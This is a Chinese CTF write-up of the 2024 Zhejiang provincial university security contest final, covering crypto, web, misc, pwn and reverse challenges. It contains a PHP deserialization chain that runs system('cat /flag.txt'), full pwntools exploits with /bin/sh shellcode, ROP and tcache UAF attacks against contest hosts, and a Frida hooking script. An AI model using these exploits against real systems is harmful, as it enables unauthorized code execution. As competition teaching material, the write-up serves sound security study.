2024浙江省赛决赛 全方向部分 WirteUp
C3ngH Lv3

第七届浙江省大学生网络与信息安全竞赛决赛 WirteUp By A1natas

题目附件

链接: https://pan.baidu.com/s/1AjtxVKSbWQjZRUXZg8d6Og?pwd=b8kf 提取码: b8kf

签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad, unpad
import itertools


def des_cbc_decode(key, iv, cipher_data):
des = DES3.new(key, mode=DES3.MODE_CBC, IV=iv)
result = des.decrypt(cipher_data)
return result

lst = ['A','B','C','D']

def solve():
des_iv = b"12345678"
enc_hex = "570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89"
enc_flag = bytes.fromhex(enc_hex)
for i in itertools.product(lst, repeat=10):
des_key = ''.join(i)+"000000"
des_key = des_key.encode()
des_dec_data = des_cbc_decode(des_key, des_iv, enc_flag)
# print(des_dec_data)
if b"DASCTF" in des_dec_data:
print(des_dec_data)
break


if __name__ == "__main__":
solve()
# b'DASCTF{Cyber_Security_2024_N1SC_Fina1_JiaY0u}\x03\x03\x03'

DASCTF{Cyber_Security_2024_N1SC_Fina1_JiaY0u}

Web

wucanrce

无参数rce
image
得到flag

unserialize

先审计,发现利用链子就是:

1
AAA::__destruct()->AAA::__toString()->GGG::invoke()->EEE::get()

md5比较写个脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib
import itertools

def md5(s):
return hashlib.md5(s.encode()).hexdigest()

t = "666"
found = False

for length in range(1, 7):
for chars in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
repeat=length):
test_str = ''.join(chars)
hashed = md5(md5(test_str))
if hashed.startswith(t):
print(f"Found match: {test_str} with MD5 hash: {hashed}")
found = True
break
if found:
break
# Found match: eS with MD5 hash: 666adf7e8db0edc039faffa03fdcccd7

然后后面的数组的这个逻辑

1
2
3
4
5
6
7
$this->d[$this->e]=1; # array(1) {[0]=>int(1)}
if ($this->d[]=1){
echo 'nononononnnn!!!';
}
else{
eval($this->f);
}

这里是试出来的,原本还想着用那个FFF递归把数组爆掉,发现想错了,只需要让数组插入1失败就行,直接赋值为NAN。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php

error_reporting(0);
class AAA{
public $aear;
public $string;
public function __construct($a){
$this -> aear = $a;
}
function __destruct()
{
echo $this -> aear; #触发 toString step1
}
public function __toString()
{
$new = $this -> string;
return $new(); # 触发 invoke
}

}

class BBB {
private $pop; # 私有属性,跟get和set有关。

public function __construct($string) { # pop就传一个数组。
$this -> pop = $string;
}

public function __get($value) { # $value 就是$pop
$var = $this -> $value;
$var[$value]();
}
}

class DDD{
public $bag;
public $magazine;

public function __toString()
{
$length = @$this -> bag -> add(); # step2
return $length;
}
public function __set($arg1,$arg2)
{
if($this -> magazine -> tower)
{
echo "really??";
}
}
}

class EEE{
public $d=array();
public $e; # 需要等于1
public $f;
public function __get($arg1){
$this->d[$this->e]=1; # array(1) {[0]=>int(1)}
if ($this->d[]=1){
echo 'nononononnnn!!!';
}
else{
eval($this->f);
}
}
}

class FFF{
protected $cookie;

protected function delete() {
return $this -> cookie;
}

public function __call($func, $args) { ## step3
echo 'hahahhhh';
call_user_func([$this, $func."haha"], $args); # 调用$this这个类的方法:$func."haha",参数是$args。递归会爆炸
}
}
class GGG{
public $green;
public $book;

}
$fff = new FFF();


$eee = new EEE();
$eee->d = NAN;
$eee->e = NAN;
$eee->f = "system('cat /flag.txt');";
$ggg = new GGG();
$ggg->book = "eS";
$ggg->green = $eee;


$aaaa = new AAA("2");
$aaaa->string = $ggg;
$aaa = new AAA($aaaa);

echo urlencode(serialize($aaa));

image

Misc

FinalLogin

SNOW隐写了XOR密钥

image

赛博厨子直接出

image

非黑即白

下载附件并解压得到一个逆序的gif图片,直接将图片逆序回来,然后用工具分帧

image

然后写个脚本提取二进制数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib
from PIL import Image

flag = ''
hash_lst = {}
pixel_list = {}
data_list = ""
for i in range(1536):
filename = f"{i}.png"
tmp_img = Image.open(filename)
tmp_pixel = tmp_img.getpixel((0,0))[0]
# print(tmp_pixel)
if tmp_pixel < 200:
data_list += '0'
else:
data_list += '1'

print(data_list)

image

下载可以得到一个压缩包

image

GIF帧间隔隐写了解压密码

image

使用得到的密码解压即可得到flag

DASCTF{H3r3_1s_C0L0rful_W0rld}

天命人(赛后复现)

题目附件给了一个压缩包,压缩包的注释中有提示

image

解压后用010打开,发现就是把一个压缩包的数据按照顺序分到了六个文件里

因此我们写个脚本,按照顺序恢复一下压缩包即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
with open("1","rb") as f:
data1 = f.read()

with open("2","rb") as f:
data2 = f.read()

with open("3","rb") as f:
data3 = f.read()

with open("4","rb") as f:
data4 = f.read()

with open("5","rb") as f:
data5 = f.read()

with open("6","rb") as f:
data6 = f.read()

print(len(data1))
print(len(data2))
print(len(data3))
print(len(data4))
print(len(data5))
print(len(data6))

res = []
for i in range(387797):
try:
res.append(data1[i])
res.append(data2[i])
res.append(data3[i])
res.append(data4[i])
res.append(data5[i])
res.append(data6[i])
except:
pass

print(len(res))
with open("1.zip","wb") as f:
f.write(bytes(res))

解压得到的压缩包,又可以得到两个新的加密的压缩包

image

image

发现根器.zip中的文件很短,只有几字节,因此可以直接使用CRC32爆破文件内容

image

爆破后即可得到另一个压缩包的解压密码:C0M3_4ND_Get_S1X_R00TS!!

使用得到的密码解压未竟.zip,可以得到一张png图片,还有一个名为紧箍咒的未知后缀的数据文件

image

发现png图片中存在等距像素隐写,因此我们尝试等距提取像素,这里我就直接用了B神的代码

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import re
import cv2
import argparse
import itertools
import numpy as np


parser = argparse.ArgumentParser()
parser.add_argument('-f', type=str, default=None, required=True,
help='输入文件名称')
parser.add_argument('-p', type=str, default=None, required=True,
help='输入左上顶点和右下顶点坐标 (如:-p 220x344+3520x2150)')
parser.add_argument('-n', type=str, default=None, required=True,
help='输入宽度间隔和高度间隔 (如:-n 44x86)')
parser.add_argument('-size', type=str, default='1x1', required=False,
help='输入截取图像的大小 (如:-size 7x7)')
parser.add_argument('-resize', type=int, default=1, required=False,
help='输入截取图像放大倍数 (如:-resize 1)')
args = parser.parse_args()

if __name__ == '__main__':
if re.search(r"^\d{1,}x\d{1,}\+\d{1,}x\d{1,}$", args.p) and re.search(r"^\d{1,}x\d{1,}$", args.n) and re.search(r"^\d{1,}x\d{1,}$", args.size):
x1, y1 = map(lambda x: int(x), args.p.split("+")[0].split("x"))
x2, y2 = map(lambda x: int(x), args.p.split("+")[1].split("x"))
width, height = map(lambda x: int(x), args.n.split("x"))
width_size, height_size = map(lambda x: int(x), args.size.split("x"))

img_path = os.path.abspath(args.f)
file_name = img_path.split("\\")[-1]

img = cv2.imread(img_path, cv2.IMREAD_COLOR)
row, col = img.shape[:2]

r, c = len(range(y1, y2 + 1, height)), len(range(x1, x2 + 1, width))
new_img = np.zeros(shape=(r * height_size * args.resize, c * width_size * args.resize, 3))
for y, x in itertools.product(range(r), range(c)):
for y_size in range(height_size):
for x_size in range(width_size):
# new_img[y * height_size + y_size, x * width_size + x_size] = img[y1 + y * height + y_size, x1 + x * width + x_size]
pt1 = ((x * width_size + x_size) * args.resize, (y * height_size + y_size) * args.resize)
pt2 = ((x * width_size + x_size) * args.resize + args.resize, (y * height_size + y_size) * args.resize + args.resize)
color = img[y1 + y * height + y_size, x1 + x * width + x_size].tolist()
cv2.rectangle(new_img, pt1=pt1, pt2=pt2, color=color, thickness=-1)

# cv2.imshow(new_img)
cv2.imwrite(f"_{file_name}", new_img)
print("已保存到运行目录中...")
else:
print("参数-p或参数-n或参数-size, 输入错误!")

我们这里把图片重命名为1.png,然后输入以下命令提取等距像素点

1
python3 Get_Pixels.py -f 1.png -p 5x5+1915x1075 -n 10x10

image

这张图片提示了另一个紧箍咒文件是一个Veracrypt加密的磁盘文件

刚刚好之前的那张图片显示的也是金箍棒,因此我们把之前的那张图片作为密钥文件,并输入密码jinggubang挂载

image

挂载成功后即可得到flag:DASCTF{T1m3_t0_F4Ce_De5t1nY}

Pwn

printFFF

存在格式化字符串漏洞,将exit的got修改为写入的shellcode地址即可执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.update(os = 'linux', arch = 'amd64')
context.timeout = 5
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = '10.1.112.37'
port = '9999'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

shellcode = asm(
f"""
mov rax, {u64(b"/bin/sh" + bytearray([0]))}
push rax
push rsp
pop rdi
xor rsi, rsi
push 0x3b
pop rax
syscall
""")

print(len(shellcode))

def pwn():
s(shellcode)

sleep(1)
pay = p64(0x5000) + p64(elf.got["exit"])
pay += p64(2)
# gdb.attach(p, "b *0x401258")
s(pay)


io()
pwn()

reverse_stack

开辟在mmap地址上的反向stack,mmap地址和libc基址偏移固定,可泄露出libc基址

rsp会根据我们写入的len增加,写入负数值后,新开辟的栈会到原先的栈的上面,因此可以覆盖原先栈的rbp和返回地址实现栈迁移,打rop即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = '10.1.112.38'
port = '9999'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

offset = 0x23000

shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")

def pwn():
# 1 leak
ru(b'long?\n')
pay = p64(0x300)
s(pay)

ru(b'buf\n')
s(b'\n')

addr = u64(p.recvn(8)) - 0xa
target = addr + 0x18
libc.address = addr + 0x23000
leave_ret = libc.address + 0x000000000004da83
log("libc", libc.address)

ru(b"pill?\n")
s(b'blue')

# 2 gadgets
ru(b'long?\n')
s(p64(0x300))

ru(b'buf\n')
rop = ROP(libc, base=target)
rop.call("mprotect", [target & ~0xfff, 0x1000, 7])
rop.raw(target + 0x48)
info(rop.dump())
pay = rop.chain() + shellcode
s(pay)

sa(b"pill?\n", b'red')

# hijack
ru(b'long?\n')
s(p64(0xFFFFFFFFFFFFFF79))
ru(b"buf\n")
# gdb.attach(p, 'bbase 0x121F')
sa(b"pill?\n", b'red'.ljust(8, b'\x00'))


ru(b'long?\n')
s(p64(0x100))

ru(b'buf\n')
pay = b'a'*0x48 + p64(leave_ret) + p64(target - 0x8)
s(pay)
p.recvn(0x100)
# gdb.attach(p, "bbase 0x1233")
sa(b"pill?\n", b'blue'.ljust(8, b'\x00'))


io()
pwn()

ezPwn

存在UAF,tcachebin attack劫持到flag的地址,show即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.update(os = 'linux', arch = 'amd64')
context.timeout = 5
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc-2.35.so', checksec=False)
host = '10.1.112.36'
port = '9999'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b'5.exit\n', str(idx).encode())

def add(sz, data=b'a'):
cmd(1)
sla(b">>\n", str(sz).encode())
sa(b">>\n", data)

def edit(idx, data):
cmd(2)
sla(b">>\n", str(idx).encode())
sa(b">>\n", data)

def show(idx):
cmd(3)
sla(b">>\n", str(idx).encode())
ru(b"data>>\n")

def delete(idx):
cmd(4)
sla(b">>\n", str(idx).encode())


def pwn():
ru(b'gift:\n')
codebase = int(ru(b'\n', drop=True), 16) - 0x1a44
flag_addr = codebase + 0x4060
log("codebase", codebase)

add(0x400)
add(0x400)

delete(1)
show(1)
key = u64(p.recvn(5).ljust(8, b'\x00'))
heapbase = (key << 12) - 0x1000
log("heapbase", heapbase)

delete(0)
edit(0, p64(key ^ flag_addr - 0x10))

add(0x400)
add(0x400, b'a'*0x10)

show(3)

io()
pwn()

Reverse

Reverse2

魔改UPX,用010改回来就行
base64加密
image
换表
/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA
密文
u76svKu5hJvLzpvHnJvGx5nPz53Nz8uaxsfGxseanJnHy83ImoL=
直接解密就行了

Reverse1

RC4加密
把beforemain,aftermain逻辑复制下来,最后把减号改成加就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
unsigned char cipher[32] = {
0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F,
0x54, 0x4A, 0x3B, 0x08, 0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 0xCF,0
};
char key1[]="keykey";
char key[100]="ban_debug!";
char s[256];
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
typedef char __int8;
typedef int64_t __int64;
void init(char *a1, char *a2,int a3)
{
char v4; // [rsp+23h] [rbp-41Dh]
int i; // [rsp+24h] [rbp-41Ch]
int v6; // [rsp+28h] [rbp-418h]
int j; // [rsp+2Ch] [rbp-414h]
int v8[258]; // [rsp+30h] [rbp-410h] BYREF



memset(v8, 0, 0x400uLL);
for ( i = 0; i <= 255; ++i )
{
a1[i] = i;
v8[i] = (unsigned char)a2[i % a3];
}
v6 = 0;
for ( j = 0; j <= 255; ++j )
{
v6 = (v8[j] + v6 + (unsigned char)a1[j]) % 256;
v4 = a1[j];
a1[j] = a1[v6];
a1[v6] = v4;
}
return ;
}


void crypt1(char *a1, char *a2, int a3)
{
int result; // rax
char v4; // [rsp+27h] [rbp-11h]
int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
int i; // [rsp+30h] [rbp-8h]

v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( a3 <= i )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + (unsigned char)a1[v5]) % 256;
v4 = a1[v5];
a1[v5] = a1[v6];
a1[v6] = v4;
a2[i] ^= a1[(unsigned char)(a1[v5] + a1[v6])];
}

}



void crypt2(char *a1, char *a2, int a3)
{
__int64 result; // rax
char v4; // [rsp+27h] [rbp-11h]
int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
int i; // [rsp+30h] [rbp-8h]

v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( a3 <= i )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + (unsigned char)a1[v5]) % 256;
v4 = a1[v5];
a1[v5] = a1[v6];
a1[v6] = v4;
a2[i] += a1[(unsigned char)(a1[v5] + a1[v6])];
}

}


int main(){
init(s,key1,strlen(key1));
crypt1(s,key,strlen(key));
memset(s, 0, sizeof(s));
init(s,key,strlen(key));
crypt2(s,cipher,32);
puts(cipher);

}

Reverse3

程序有花指令和反调试。
去掉花指令后发现并没有什么逻辑。
在TlsCallback_0里发现字符串FileName异或0x11。
image
异或回来找到了1.exe这个程序,加密应该主要位于这里,原本的exe只是一个加载器。
观察1.exe逻辑,是一个aes加密,但是有换盒。
把密钥和密文取出,反出逆s盒,进行aes解密,发现无法解密。
比对内存中的数据和脚本加密数据发现是一样的,解密不可能存在问题。
猜测是加载器修改了key或者其他数据。
frida不会被反调试检测,用frida hook key发现key改变。
输入改变的key仍然不可解密。
接下来hook了sbox,sbox改变,但还是不可解密。
hook密文,发现密文没有改变,那改变的可能是输入的flag数据。
多次hook发现输入的flag每个字节都会有一定偏移。
我们把可打印字符串表作为flag输入,获得字符变化的对应关系。
image
按照对应关系输出aes解密的数据即可得到flag。

frida hook脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
var inter=setInterval(function () {
var sgame = Process.findModuleByName("1.exe");
if(sgame==null){
console.log("无");
return;
}


clearInterval(inter);
console.log(""+sgame.base.add(0x001EC9 ));
Interceptor.attach(sgame.base.add(0x001EC9 ), {
onEnter: function (args) {
var rax=this.context.rax;
console.log("" +rax);
// 检查密文有没有被修改
console.log(hexdump(ptr(rax),{length: 50,ansi:true}));


}
})

Interceptor.attach(sgame.base.add(0x001E2C ), {
onEnter: function (args) {

console.log("input flag");
// 检查输入flag的时候有没有被修改
console.log(hexdump(ptr(this.context.rdx),{length: 16,ansi:true}));

}
})

Interceptor.attach(sgame.base.add(0x1380), {
onEnter: function (args) {
var rdx=this.context.rdx;
// 检查key ,sbox ,进入函数的flag有没有被修改
console.log("key" );
console.log(hexdump(ptr(rdx),{length: 16,ansi:true}));
console.log("flag:" );
console.log(hexdump(ptr(this.context.rcx),{length: 16,ansi:true}));
console.log("sbox:" );
console.log(hexdump(ptr(sgame.base.add(0x5160)),{length: 256,ansi:true}));
}
})
} , 1)

逆盒脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
new_s_box = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]
import string
new_contrary_sbox = [0]*256
print(len(new_s_box))
for i in range(256):
line = (new_s_box[i]&0xf0)>>4
rol = new_s_box[i]&0xf
new_contrary_sbox[(line*16)+rol] = i
print(len(new_contrary_sbox))
print(new_contrary_sbox)
print(string.printable)

aes解密脚本,每次解密一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
void AddRoundKey(unsigned char *plaintext, unsigned char * CipherKey)/*轮密钥加*/
{
for (int j = 0; j < 16; j++) plaintext[j] = plaintext[j] ^ CipherKey[j];
}
void SubBytes(unsigned char *plaintext, unsigned char *plaintextencrypt, int count)/*S盒置换*/
{
unsigned int row, column;
unsigned char Sbox[16][16] = {
/* 0 1 2 3 4 5 6 7 8 9 a b c d e f */
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16

};// 填充Sbox矩阵
for (int i = 0; i < count; i++)
{
row = (plaintext[i] & 0xF0) >> 4;
column = plaintext[i] & 0x0F;
plaintextencrypt[i] = Sbox[row][column];
}
}
void SubBytesRe(unsigned char *plaintext, unsigned char *plaintextencrypt, int count)/*S盒逆置换*/
{
unsigned int row, column;
unsigned char Sbox[16][16] = {
82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125 }; // 填充Sbox矩阵
for (int i = 0; i < count; i++)
{
row = (plaintext[i] & 0xF0) >> 4;
column = plaintext[i] & 0x0F;
plaintextencrypt[i] = Sbox[row][column];
}
}
void ShiftRowsRe(unsigned char *plaintextencrypt)/*行移位的逆*/
{
unsigned char temp = 0;
for (int i = 0; i < 4; i++)//第i行
{
for (int j = 0; j < 4 - i; j++)//第j次左移
{
temp = plaintextencrypt[i];
for (int k = 0; k < 4; k++)
plaintextencrypt[i + 4 * k] = plaintextencrypt[i + 4 * (k + 1)];
plaintextencrypt[i + 12] = temp;
}
}
}
void ShiftRows(unsigned char *plaintextencrypt)/*行移位*/
{
unsigned char temp = 0;
for (int i = 0; i < 4; i++)//第i行
{
for (int j = 0; j < i; j++)//第j次左移
{
temp = plaintextencrypt[i];
for (int k = 0; k < 4; k++)
plaintextencrypt[i + 4 * k] = plaintextencrypt[i + 4 * (k + 1)];
plaintextencrypt[i + 12] = temp;
}
}
}
unsigned char Mult2(unsigned char num)/*列混淆*/
{
unsigned char temp = num << 1;
if ((num >> 7) & 0x01)
temp = temp ^ 27;
return temp;
}
unsigned char Mult3(unsigned char num)
{
return Mult2(num) ^ num;
}
void MixColumns(unsigned char *plaintextencrypt, unsigned char *plaintextcrypt)
{
int i;
for (i = 0; i < 4; i++)
